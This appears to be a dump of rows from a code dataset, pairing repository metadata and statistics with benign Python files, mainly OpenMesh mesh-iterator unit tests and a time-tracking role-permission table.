from neural_persona.modules.vae.basic_m import BasicModifiedVAE
from neural_persona.modules.vae.bamman import Bamman
| 50.777778 | 69 | 0.877462 | 68 | 457 | 5.720588 | 0.279412 | 0.205656 | 0.349614 | 0.493573 | 0.59383 | 0.246787 | 0 | 0 | 0 | 0 | 0 | 0 | 0.070022 | 457 | 8 | 70 | 57.125 | 0.915294 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
ec1cf7b63cbafe9ebccc56eb7af52042d5ee033d | 163 | py | Python | bgflow/nn/flow/transformer/__init__.py | oliverdutton/bgflow | dbb3db6c3e754b776f42911ef531868bf973b350 | [
"MIT"
] | null | null | null | bgflow/nn/flow/transformer/__init__.py | oliverdutton/bgflow | dbb3db6c3e754b776f42911ef531868bf973b350 | [
"MIT"
] | null | null | null | bgflow/nn/flow/transformer/__init__.py | oliverdutton/bgflow | dbb3db6c3e754b776f42911ef531868bf973b350 | [
"MIT"
] | null | null | null | from .base import*
from .affine import *
from .entropy_scaling import *
from .spline import *
from .gaussian import *
from .jax import *
from .jax_bridge import *
| 20.375 | 30 | 0.748466 | 23 | 163 | 5.217391 | 0.434783 | 0.5 | 0.216667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.165644 | 163 | 7 | 31 | 23.285714 | 0.882353 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
6b88a8068b9a7f3030ac6044fc732fa5cc0e34f1 | 340 | py | Python | s3file/__init__.py | yhori991/s3file | c49cf814f0634375a3192723e6faf329abe05d87 | [
"MIT"
] | null | null | null | s3file/__init__.py | yhori991/s3file | c49cf814f0634375a3192723e6faf329abe05d87 | [
"MIT"
] | 3 | 2020-03-24T16:56:23.000Z | 2021-02-02T21:59:29.000Z | s3file/__init__.py | yhori991/py-s3file | c49cf814f0634375a3192723e6faf329abe05d87 | [
"MIT"
] | null | null | null | # from .__S3File import s3_set_profile as set_profile
from .__S3File import s3_xlist as xlist
from .__S3File import s3_download as download
from .__S3File import s3_upload as upload
from .__S3File import s3_load as load
from .__S3File import s3_save as save
from .__S3File import s3_open as open
from .__S3File import s3_stream as streampip | 42.5 | 53 | 0.832353 | 58 | 340 | 4.431034 | 0.258621 | 0.311284 | 0.498054 | 0.560311 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.054795 | 0.141176 | 340 | 8 | 54 | 42.5 | 0.825342 | 0.15 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
6bd48c35669d2c4b278cead42e13d575970dcaa1 | 15,266 | py | Python | src/Python/Unittests/test_trimesh_iterators.py | rzoller/OpenMesh | f84bca0b26c61eab5f9335b2191962ca8545c5f6 | [
"BSD-3-Clause"
] | 19 | 2020-08-13T05:15:09.000Z | 2022-03-31T14:51:29.000Z | src/Python/Unittests/test_trimesh_iterators.py | ccopsey/OpenMesh | 93e6e626c3f282bf4275521c33cd8da1ca559c7d | [
"BSD-3-Clause"
] | 2 | 2020-09-08T07:03:04.000Z | 2021-08-04T05:43:27.000Z | src/Python/Unittests/test_trimesh_iterators.py | ccopsey/OpenMesh | 93e6e626c3f282bf4275521c33cd8da1ca559c7d | [
"BSD-3-Clause"
] | 10 | 2020-08-06T02:37:46.000Z | 2021-07-01T09:12:06.000Z | import unittest
import openmesh
class TriMeshIterators(unittest.TestCase):
def setUp(self):
self.mesh = openmesh.TriMesh()
self.vhandle = []
def test_vertex_iter(self):
# Add some vertices
self.vhandle.append(self.mesh.add_vertex(openmesh.Vec3d(0, 0, 0)))
self.vhandle.append(self.mesh.add_vertex(openmesh.Vec3d(0, 1, 0)))
self.vhandle.append(self.mesh.add_vertex(openmesh.Vec3d(1, 1, 0)))
self.vhandle.append(self.mesh.add_vertex(openmesh.Vec3d(1, 0, 0)))
# Add two faces
self.mesh.add_face(self.vhandle[2], self.vhandle[1], self.vhandle[0])
self.mesh.add_face(self.vhandle[2], self.vhandle[0], self.vhandle[3])
# Test setup:
# 1 === 2
# | / |
# | / |
# | / |
# 0 === 3
v_it = self.mesh.vertices()
self.assertEqual(v_it.__next__().idx(), 0)
self.assertEqual(v_it.__next__().idx(), 1)
self.assertEqual(v_it.__next__().idx(), 2)
self.assertEqual(v_it.__next__().idx(), 3)
self.assertRaises(StopIteration, v_it.__next__)
def test_vertex_iter_start_position(self):
# Add some vertices
self.vhandle.append(self.mesh.add_vertex(openmesh.Vec3d(0, 0, 0)))
self.vhandle.append(self.mesh.add_vertex(openmesh.Vec3d(0, 1, 0)))
self.vhandle.append(self.mesh.add_vertex(openmesh.Vec3d(1, 1, 0)))
self.vhandle.append(self.mesh.add_vertex(openmesh.Vec3d(1, 0, 0)))
# Add two faces
self.mesh.add_face(self.vhandle[2], self.vhandle[1], self.vhandle[0])
self.mesh.add_face(self.vhandle[2], self.vhandle[0], self.vhandle[3])
# Test setup:
# 1 === 2
# | / |
# | / |
# | / |
# 0 === 3
v_it = openmesh.VertexIter(self.mesh, self.mesh.vertex_handle(2))
self.assertEqual(v_it.__next__().idx(), 2)
self.assertEqual(v_it.__next__().idx(), 3)
self.assertRaises(StopIteration, v_it.__next__)
def test_edge_iter(self):
# Add some vertices
self.vhandle.append(self.mesh.add_vertex(openmesh.Vec3d(0, 0, 0)))
self.vhandle.append(self.mesh.add_vertex(openmesh.Vec3d(0, 1, 0)))
self.vhandle.append(self.mesh.add_vertex(openmesh.Vec3d(1, 1, 0)))
self.vhandle.append(self.mesh.add_vertex(openmesh.Vec3d(1, 0, 0)))
# Add two faces
self.mesh.add_face(self.vhandle[2], self.vhandle[1], self.vhandle[0])
self.mesh.add_face(self.vhandle[2], self.vhandle[0], self.vhandle[3])
# Test setup:
# 1 === 2
# | / |
# | / |
# | / |
# 0 === 3
e_it = self.mesh.edges()
e = e_it.__next__()
self.assertEqual(e.idx(), 0)
he = self.mesh.halfedge_handle(e, 0)
self.assertEqual(self.mesh.to_vertex_handle(he).idx(), 1)
self.assertEqual(self.mesh.from_vertex_handle(he).idx(), 2)
he = self.mesh.halfedge_handle(e, 1)
self.assertEqual(self.mesh.to_vertex_handle(he).idx(), 2)
self.assertEqual(self.mesh.from_vertex_handle(he).idx(), 1)
e = e_it.__next__()
self.assertEqual(e.idx(), 1)
he = self.mesh.halfedge_handle(e, 0)
self.assertEqual(self.mesh.to_vertex_handle(he).idx(), 0)
self.assertEqual(self.mesh.from_vertex_handle(he).idx(), 1)
he = self.mesh.halfedge_handle(e, 1)
self.assertEqual(self.mesh.to_vertex_handle(he).idx(), 1)
self.assertEqual(self.mesh.from_vertex_handle(he).idx(), 0)
e = e_it.__next__()
self.assertEqual(e.idx(), 2)
he = self.mesh.halfedge_handle(e, 0)
self.assertEqual(self.mesh.to_vertex_handle(he).idx(), 2)
self.assertEqual(self.mesh.from_vertex_handle(he).idx(), 0)
he = self.mesh.halfedge_handle(e, 1)
self.assertEqual(self.mesh.to_vertex_handle(he).idx(), 0)
self.assertEqual(self.mesh.from_vertex_handle(he).idx(), 2)
e = e_it.__next__()
self.assertEqual(e.idx(), 3)
he = self.mesh.halfedge_handle(e, 0)
self.assertEqual(self.mesh.to_vertex_handle(he).idx(), 3)
self.assertEqual(self.mesh.from_vertex_handle(he).idx(), 0)
he = self.mesh.halfedge_handle(e, 1)
self.assertEqual(self.mesh.to_vertex_handle(he).idx(), 0)
self.assertEqual(self.mesh.from_vertex_handle(he).idx(), 3)
e = e_it.__next__()
self.assertEqual(e.idx(), 4)
he = self.mesh.halfedge_handle(e, 0)
self.assertEqual(self.mesh.to_vertex_handle(he).idx(), 2)
self.assertEqual(self.mesh.from_vertex_handle(he).idx(), 3)
he = self.mesh.halfedge_handle(e, 1)
self.assertEqual(self.mesh.to_vertex_handle(he).idx(), 3)
self.assertEqual(self.mesh.from_vertex_handle(he).idx(), 2)
def test_halfedge_iter_skipping(self):
# Add some vertices
self.vhandle.append(self.mesh.add_vertex(openmesh.Vec3d(-1, -1, 1)))
self.vhandle.append(self.mesh.add_vertex(openmesh.Vec3d( 1, -1, 1)))
self.vhandle.append(self.mesh.add_vertex(openmesh.Vec3d( 1, 1, 1)))
self.vhandle.append(self.mesh.add_vertex(openmesh.Vec3d(-1, 1, 1)))
self.vhandle.append(self.mesh.add_vertex(openmesh.Vec3d(-1, -1, -1)))
self.vhandle.append(self.mesh.add_vertex(openmesh.Vec3d( 1, -1, -1)))
self.vhandle.append(self.mesh.add_vertex(openmesh.Vec3d( 1, 1, -1)))
self.vhandle.append(self.mesh.add_vertex(openmesh.Vec3d(-1, 1, -1)))
# Add six faces to form a cube
self.mesh.add_face(self.vhandle[0], self.vhandle[1], self.vhandle[3])
self.mesh.add_face(self.vhandle[1], self.vhandle[2], self.vhandle[3])
self.mesh.add_face(self.vhandle[7], self.vhandle[6], self.vhandle[5])
self.mesh.add_face(self.vhandle[7], self.vhandle[5], self.vhandle[4])
self.mesh.add_face(self.vhandle[1], self.vhandle[0], self.vhandle[4])
self.mesh.add_face(self.vhandle[1], self.vhandle[4], self.vhandle[5])
self.mesh.add_face(self.vhandle[2], self.vhandle[1], self.vhandle[5])
self.mesh.add_face(self.vhandle[2], self.vhandle[5], self.vhandle[6])
self.mesh.add_face(self.vhandle[3], self.vhandle[2], self.vhandle[6])
self.mesh.add_face(self.vhandle[3], self.vhandle[6], self.vhandle[7])
self.mesh.add_face(self.vhandle[0], self.vhandle[3], self.vhandle[7])
self.mesh.add_face(self.vhandle[0], self.vhandle[7], self.vhandle[4])
# Test setup:
#
# 3 ======== 2
# / /|
# / / | z
# 0 ======== 1 | |
# | | | | y
# | 7 | 6 | /
# | | / | /
# | |/ |/
# 4 ======== 5 -------> x
# Check setup
self.assertEqual(self.mesh.n_edges(), 18)
self.assertEqual(self.mesh.n_halfedges(), 36)
self.assertEqual(self.mesh.n_vertices(), 8)
self.assertEqual(self.mesh.n_faces(), 12)
# Run over all halfedges
heCounter = 0
self.mesh.request_face_status()
self.mesh.request_vertex_status()
self.mesh.request_halfedge_status()
# Get second edge
eh = self.mesh.edge_handle(2)
# Delete one edge
self.mesh.delete_edge(eh)
# Check setup ( No garbage collection, so nothing should change!)
self.assertEqual(self.mesh.n_edges(), 18)
self.assertEqual(self.mesh.n_halfedges(), 36)
self.assertEqual(self.mesh.n_vertices(), 8)
self.assertEqual(self.mesh.n_faces(), 12)
# =====================================================
# Check skipping iterator
# =====================================================
ok_4 = True
ok_5 = True
count = 0
for he in self.mesh.shalfedges():
if he.idx() == 4:
ok_4 = False
if he.idx() == 5:
ok_5 = False
count += 1
self.assertEqual(count, 34)
self.assertTrue(ok_4)
self.assertTrue(ok_5)
# =====================================================
# Check non skipping iterator
# =====================================================
ok_4 = False
ok_5 = False
count = 0
for he in self.mesh.halfedges():
if he.idx() == 4:
ok_4 = True
if he.idx() == 5:
ok_5 = True
count += 1
self.assertEqual(count, 36)
self.assertTrue(ok_4)
self.assertTrue(ok_5)
def test_halfedge_iter_skipping_low_level(self):
# Add some vertices
self.vhandle.append(self.mesh.add_vertex(openmesh.Vec3d(-1, -1, 1)))
self.vhandle.append(self.mesh.add_vertex(openmesh.Vec3d( 1, -1, 1)))
self.vhandle.append(self.mesh.add_vertex(openmesh.Vec3d( 1, 1, 1)))
self.vhandle.append(self.mesh.add_vertex(openmesh.Vec3d(-1, 1, 1)))
self.vhandle.append(self.mesh.add_vertex(openmesh.Vec3d(-1, -1, -1)))
self.vhandle.append(self.mesh.add_vertex(openmesh.Vec3d( 1, -1, -1)))
self.vhandle.append(self.mesh.add_vertex(openmesh.Vec3d( 1, 1, -1)))
self.vhandle.append(self.mesh.add_vertex(openmesh.Vec3d(-1, 1, -1)))
# Add six faces to form a cube
self.mesh.add_face(self.vhandle[0], self.vhandle[1], self.vhandle[3])
self.mesh.add_face(self.vhandle[1], self.vhandle[2], self.vhandle[3])
self.mesh.add_face(self.vhandle[7], self.vhandle[6], self.vhandle[5])
self.mesh.add_face(self.vhandle[7], self.vhandle[5], self.vhandle[4])
self.mesh.add_face(self.vhandle[1], self.vhandle[0], self.vhandle[4])
self.mesh.add_face(self.vhandle[1], self.vhandle[4], self.vhandle[5])
self.mesh.add_face(self.vhandle[2], self.vhandle[1], self.vhandle[5])
self.mesh.add_face(self.vhandle[2], self.vhandle[5], self.vhandle[6])
self.mesh.add_face(self.vhandle[3], self.vhandle[2], self.vhandle[6])
self.mesh.add_face(self.vhandle[3], self.vhandle[6], self.vhandle[7])
self.mesh.add_face(self.vhandle[0], self.vhandle[3], self.vhandle[7])
self.mesh.add_face(self.vhandle[0], self.vhandle[7], self.vhandle[4])
# Test setup:
#
# 3 ======== 2
# / /|
# / / | z
# 0 ======== 1 | |
# | | | | y
# | 7 | 6 | /
# | | / | /
# | |/ |/
# 4 ======== 5 -------> x
# Check setup
self.assertEqual(self.mesh.n_edges(), 18)
self.assertEqual(self.mesh.n_halfedges(), 36)
self.assertEqual(self.mesh.n_vertices(), 8)
self.assertEqual(self.mesh.n_faces(), 12)
# Run over all halfedges
heCounter = 0
self.mesh.request_face_status()
self.mesh.request_vertex_status()
self.mesh.request_halfedge_status()
# Get second edge
eh = self.mesh.edge_handle(2)
# Delete one edge
self.mesh.delete_edge(eh)
# Check setup ( No garbage collection, so nothing should change!)
self.assertEqual(self.mesh.n_edges(), 18)
self.assertEqual(self.mesh.n_halfedges(), 36)
self.assertEqual(self.mesh.n_vertices(), 8)
self.assertEqual(self.mesh.n_faces(), 12)
# =====================================================
# Try to add low level edge with invalid incidents and
# check skipping iterator
# =====================================================
# Add a low level edge without handles
eh_test = self.mesh.edge_handle(self.mesh.new_edge(openmesh.VertexHandle(), openmesh.VertexHandle()))
count = 0
found_4 = False
found_5 = False
found_36 = False
found_37 = False
for he in self.mesh.shalfedges():
if he.idx() == 4:
found_4 = True
if he.idx() == 5:
found_5 = True
if he.idx() == 36:
found_36 = True
if he.idx() == 37:
found_37 = True
count += 1
self.assertEqual(count, 36)
self.assertFalse(found_4)
self.assertFalse(found_5)
self.assertTrue(found_36)
self.assertTrue(found_37)
# =====================================================
# Try to delete one edge with invalid incidents and
# check skipping iterator
# =====================================================
# Delete one edge and recheck (Halfedges 4 and 5)
self.mesh.delete_edge(eh_test)
count = 0
found_4 = False
found_5 = False
found_36 = False
found_37 = False
for he in self.mesh.shalfedges():
if he.idx() == 4:
found_4 = True
if he.idx() == 5:
found_5 = True
if he.idx() == 36:
found_36 = True
if he.idx() == 37:
found_37 = True
count += 1
self.assertEqual(count, 34)
self.assertFalse(found_4)
self.assertFalse(found_5)
self.assertFalse(found_36)
self.assertFalse(found_37)
def test_face_iter_empty_mesh_one_deleted_face(self):
# Request delete_face capability
self.mesh.request_vertex_status()
self.mesh.request_edge_status()
self.mesh.request_face_status()
# Add some vertices
self.vhandle.append(self.mesh.add_vertex(openmesh.Vec3d(0, 0, 0)))
self.vhandle.append(self.mesh.add_vertex(openmesh.Vec3d(0, 1, 0)))
self.vhandle.append(self.mesh.add_vertex(openmesh.Vec3d(1, 1, 0)))
# Add one face
fh = self.mesh.add_face(self.vhandle[2], self.vhandle[1], self.vhandle[0])
is_delete_isolated_vertex = False
self.mesh.delete_face(fh, is_delete_isolated_vertex)
# Test setup:
# 1 === 2
# | /
# | /
# | /
# 0
# Normal iterators
f_it = self.mesh.faces()
self.assertEqual(f_it.__next__().idx(), 0)
self.assertRaises(StopIteration, f_it.__next__)
# Same with skipping iterators
f_it = self.mesh.sfaces()
self.assertRaises(StopIteration, f_it.__next__)
if __name__ == '__main__':
suite = unittest.TestLoader().loadTestsFromTestCase(TriMeshIterators)
unittest.TextTestRunner(verbosity=2).run(suite)
| 38.453401 | 109 | 0.537469 | 1,901 | 15,266 | 4.149921 | 0.066807 | 0.137914 | 0.086449 | 0.104956 | 0.88465 | 0.864115 | 0.84358 | 0.836228 | 0.788186 | 0.776524 | 0 | 0.037969 | 0.299555 | 15,266 | 396 | 110 | 38.550505 | 0.699804 | 0.127866 | 0 | 0.831897 | 0 | 0 | 0.000605 | 0 | 0 | 0 | 0 | 0 | 0.293103 | 1 | 0.030172 | false | 0 | 0.008621 | 0 | 0.043103 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
6be34694c5d15a96ab6d7914e15ba9ebf19f1682 | 7,791 | py | Python | test/trans_sfull.py | time-track-tool/time-track-tool | a1c280f32a7766e460c862633b748fa206256f24 | [
"MIT"
] | null | null | null | test/trans_sfull.py | time-track-tool/time-track-tool | a1c280f32a7766e460c862633b748fa206256f24 | [
"MIT"
] | 1 | 2019-07-03T13:32:38.000Z | 2019-07-03T13:32:38.000Z | test/trans_sfull.py | time-track-tool/time-track-tool | a1c280f32a7766e460c862633b748fa206256f24 | [
"MIT"
] | 1 | 2019-05-15T16:01:31.000Z | 2019-05-15T16:01:31.000Z | transprop_perms = \
[ ( 'contact.customer.firstname'
, ['admin', 'cc-permission', 'contact', 'controlling', 'doc_admin', 'facility', 'functional-role', 'hr', 'hr-leave-approval', 'hr-vacation', 'issue_admin', 'it', 'itview', 'msgedit', 'msgsync', 'office', 'organisation', 'procurement', 'project', 'project_view', 'sec-incident-nosy', 'sec-incident-responsible', 'summary_view', 'supportadmin', 'time-report', 'type', 'user', 'vacation-report'
]
)
, ( 'contact.customer.function'
, ['admin', 'cc-permission', 'contact', 'controlling', 'doc_admin', 'facility', 'functional-role', 'hr', 'hr-leave-approval', 'hr-vacation', 'issue_admin', 'it', 'itview', 'msgedit', 'msgsync', 'office', 'organisation', 'procurement', 'project', 'project_view', 'sec-incident-nosy', 'sec-incident-responsible', 'summary_view', 'supportadmin', 'time-report', 'type', 'user', 'vacation-report'
]
)
, ( 'contact.customer.lastname'
, ['admin', 'cc-permission', 'contact', 'controlling', 'doc_admin', 'facility', 'functional-role', 'hr', 'hr-leave-approval', 'hr-vacation', 'issue_admin', 'it', 'itview', 'msgedit', 'msgsync', 'office', 'organisation', 'procurement', 'project', 'project_view', 'sec-incident-nosy', 'sec-incident-responsible', 'summary_view', 'supportadmin', 'time-report', 'type', 'user', 'vacation-report'
]
)
, ( 'contact.customer.lookalike_firstname'
, ['admin', 'cc-permission', 'contact', 'controlling', 'doc_admin', 'facility', 'functional-role', 'hr', 'hr-leave-approval', 'hr-vacation', 'issue_admin', 'it', 'itview', 'msgedit', 'msgsync', 'office', 'organisation', 'procurement', 'project', 'project_view', 'sec-incident-nosy', 'sec-incident-responsible', 'summary_view', 'supportadmin', 'time-report', 'type', 'user', 'vacation-report'
]
)
, ( 'contact.customer.lookalike_function'
, ['admin', 'cc-permission', 'contact', 'controlling', 'doc_admin', 'facility', 'functional-role', 'hr', 'hr-leave-approval', 'hr-vacation', 'issue_admin', 'it', 'itview', 'msgedit', 'msgsync', 'office', 'organisation', 'procurement', 'project', 'project_view', 'sec-incident-nosy', 'sec-incident-responsible', 'summary_view', 'supportadmin', 'time-report', 'type', 'user', 'vacation-report'
]
)
, ( 'contact.customer.lookalike_lastname'
, ['admin', 'cc-permission', 'contact', 'controlling', 'doc_admin', 'facility', 'functional-role', 'hr', 'hr-leave-approval', 'hr-vacation', 'issue_admin', 'it', 'itview', 'msgedit', 'msgsync', 'office', 'organisation', 'procurement', 'project', 'project_view', 'sec-incident-nosy', 'sec-incident-responsible', 'summary_view', 'supportadmin', 'time-report', 'type', 'user', 'vacation-report'
]
)
, ( 'cost_center.cost_center_group.id'
, ['admin', 'cc-permission', 'contact', 'controlling', 'doc_admin', 'facility', 'functional-role', 'hr', 'hr-leave-approval', 'hr-vacation', 'issue_admin', 'it', 'itview', 'msgedit', 'msgsync', 'office', 'organisation', 'procurement', 'project', 'project_view', 'sec-incident-nosy', 'sec-incident-responsible', 'summary_view', 'supportadmin', 'time-report', 'type', 'user', 'vacation-report'
]
)
, ( 'issue.composed_of.id'
, ['admin', 'cc-permission', 'contact', 'controlling', 'doc_admin', 'facility', 'functional-role', 'hr', 'hr-leave-approval', 'hr-vacation', 'issue_admin', 'it', 'itview', 'msgedit', 'msgsync', 'office', 'organisation', 'procurement', 'project', 'project_view', 'sec-incident-nosy', 'sec-incident-responsible', 'summary_view', 'supportadmin', 'time-report', 'type', 'user', 'vacation-report']
)
, ( 'issue.depends.id'
, ['admin', 'cc-permission', 'contact', 'controlling', 'doc_admin', 'facility', 'functional-role', 'hr', 'hr-leave-approval', 'hr-vacation', 'issue_admin', 'it', 'itview', 'msgedit', 'msgsync', 'office', 'organisation', 'procurement', 'project', 'project_view', 'sec-incident-nosy', 'sec-incident-responsible', 'summary_view', 'supportadmin', 'time-report', 'type', 'user', 'vacation-report']
)
, ( 'issue.needs.id'
, ['admin', 'cc-permission', 'contact', 'controlling', 'doc_admin', 'facility', 'functional-role', 'hr', 'hr-leave-approval', 'hr-vacation', 'issue_admin', 'it', 'itview', 'msgedit', 'msgsync', 'office', 'organisation', 'procurement', 'project', 'project_view', 'sec-incident-nosy', 'sec-incident-responsible', 'summary_view', 'supportadmin', 'time-report', 'type', 'user', 'vacation-report']
)
, ( 'issue.part_of.id'
, ['admin', 'cc-permission', 'contact', 'controlling', 'doc_admin', 'facility', 'functional-role', 'hr', 'hr-leave-approval', 'hr-vacation', 'issue_admin', 'it', 'itview', 'msgedit', 'msgsync', 'office', 'organisation', 'procurement', 'project', 'project_view', 'sec-incident-nosy', 'sec-incident-responsible', 'summary_view', 'supportadmin', 'time-report', 'type', 'user', 'vacation-report']
)
, ( 'support.related_issues.id'
, ['admin', 'cc-permission', 'contact', 'controlling', 'doc_admin', 'facility', 'functional-role', 'hr', 'hr-leave-approval', 'hr-vacation', 'issue_admin', 'it', 'itview', 'msgedit', 'msgsync', 'office', 'organisation', 'procurement', 'project', 'project_view', 'sec-incident-nosy', 'sec-incident-responsible', 'summary_view', 'supportadmin', 'time-report', 'type', 'user', 'vacation-report']
)
, ( 'time_project.organisation.id'
, ['admin', 'controlling', 'procurement', 'project', 'project_view']
)
, ( 'time_project.wps.bookers'
, ['admin', 'cc-permission', 'contact', 'controlling', 'doc_admin', 'facility', 'functional-role', 'hr', 'hr-leave-approval', 'hr-vacation', 'issue_admin', 'it', 'itview', 'msgedit', 'msgsync', 'office', 'organisation', 'procurement', 'project', 'project_view', 'sec-incident-nosy', 'sec-incident-responsible', 'summary_view', 'supportadmin', 'time-report', 'type', 'user', 'vacation-report']
)
, ( 'time_record.daily_record.date'
, ['admin', 'cc-permission', 'contact', 'controlling', 'doc_admin', 'facility', 'functional-role', 'hr', 'hr-leave-approval', 'hr-vacation', 'issue_admin', 'it', 'itview', 'msgedit', 'msgsync', 'office', 'organisation', 'procurement', 'project', 'project_view', 'sec-incident-nosy', 'sec-incident-responsible', 'summary_view', 'supportadmin', 'time-report', 'type', 'user', 'vacation-report']
)
, ( 'time_record.daily_record.status'
, ['admin', 'cc-permission', 'contact', 'controlling', 'doc_admin', 'facility', 'functional-role', 'hr', 'hr-leave-approval', 'hr-vacation', 'issue_admin', 'it', 'itview', 'msgedit', 'msgsync', 'office', 'organisation', 'procurement', 'project', 'project_view', 'sec-incident-nosy', 'sec-incident-responsible', 'summary_view', 'supportadmin', 'time-report', 'type', 'user', 'vacation-report']
)
, ( 'time_record.daily_record.user'
, ['admin', 'cc-permission', 'contact', 'controlling', 'doc_admin', 'facility', 'functional-role', 'hr', 'hr-leave-approval', 'hr-vacation', 'issue_admin', 'it', 'itview', 'msgedit', 'msgsync', 'office', 'organisation', 'procurement', 'project', 'project_view', 'sec-incident-nosy', 'sec-incident-responsible', 'summary_view', 'supportadmin', 'time-report', 'type', 'user', 'vacation-report']
)
, ( 'time_record.wp.project'
, ['admin', 'cc-permission', 'contact', 'controlling', 'doc_admin', 'facility', 'functional-role', 'hr', 'hr-leave-approval', 'hr-vacation', 'issue_admin', 'it', 'itview', 'msgedit', 'msgsync', 'office', 'organisation', 'procurement', 'project', 'project_view', 'sec-incident-nosy', 'sec-incident-responsible', 'summary_view', 'supportadmin', 'time-report', 'type', 'user', 'vacation-report']
)
, ( 'user.planning_role.functional_role'
, ['admin', 'functional-role']
)
]
| 116.283582 | 398 | 0.652419 | 819 | 7,791 | 6.096459 | 0.07326 | 0.074905 | 0.090126 | 0.104546 | 0.948528 | 0.948528 | 0.948528 | 0.948528 | 0.948528 | 0.948528 | 0 | 0 | 0.115133 | 7,791 | 66 | 399 | 118.045455 | 0.724253 | 0 | 0 | 0.257576 | 0 | 0 | 0.679502 | 0.10833 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
d403f255c7553f4880a6c35151774a6cae492415 | 185 | py | Python | tests/test_shocktube1dcalc.py | yezhengkai/shocktube1dcalc | 7ea82f6f46af18f69a96184d8d7e6b382ab6f849 | [
"BSD-3-Clause"
] | 2 | 2021-08-21T14:08:00.000Z | 2021-09-04T15:36:41.000Z | tests/test_shocktube1dcalc.py | yezhengkai/shocktube1dcalc | 7ea82f6f46af18f69a96184d8d7e6b382ab6f849 | [
"BSD-3-Clause"
] | 10 | 2021-03-14T17:22:43.000Z | 2021-11-28T14:20:54.000Z | tests/test_shocktube1dcalc.py | tai271828/shocktube1dcalc | 50fb3aaf37052b494fc60bcb8540eca3fbb9ce72 | [
"BSD-3-Clause"
] | 3 | 2021-03-14T15:13:17.000Z | 2021-09-26T04:19:15.000Z | import shocktube1dcalc.helper
def test_shocktubecalc():
"""
Compare analytic solutions provided by shocktubecalc.
"""
assert shocktube1dcalc.helper.compare(0.01, 2.0)
| 20.555556 | 57 | 0.724324 | 20 | 185 | 6.65 | 0.75 | 0.315789 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.046053 | 0.178378 | 185 | 8 | 58 | 23.125 | 0.828947 | 0.286486 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.333333 | 1 | 0.333333 | true | 0 | 0.333333 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
d45871c3564b81327f03460d6b5b339fa47a927d | 17 | py | Python | src/me/ch2/pow1234_5678.py | banbiossa/book-rust | 209965a90767927bd2d909e4de18fe6f1e6ea729 | [
"MIT"
] | null | null | null | src/me/ch2/pow1234_5678.py | banbiossa/book-rust | 209965a90767927bd2d909e4de18fe6f1e6ea729 | [
"MIT"
] | null | null | null | src/me/ch2/pow1234_5678.py | banbiossa/book-rust | 209965a90767927bd2d909e4de18fe6f1e6ea729 | [
"MIT"
] | null | null | null | print(1234**5678) | 17 | 17 | 0.764706 | 3 | 17 | 4.333333 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.470588 | 0 | 17 | 1 | 17 | 17 | 0.294118 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 7 |
d460d9e3ec90fdfe6509e0d7c15b9eac931e70ec | 9,179 | py | Python | tests/commands/test__vi_repeat_search.py | trishume/VintageousPlus | 1dd62435138234979fe5bb413e1731119b017daf | [
"MIT"
] | 6 | 2017-04-01T05:30:08.000Z | 2017-04-05T14:17:40.000Z | tests/commands/test__vi_repeat_search.py | trishume/VintageousPlus | 1dd62435138234979fe5bb413e1731119b017daf | [
"MIT"
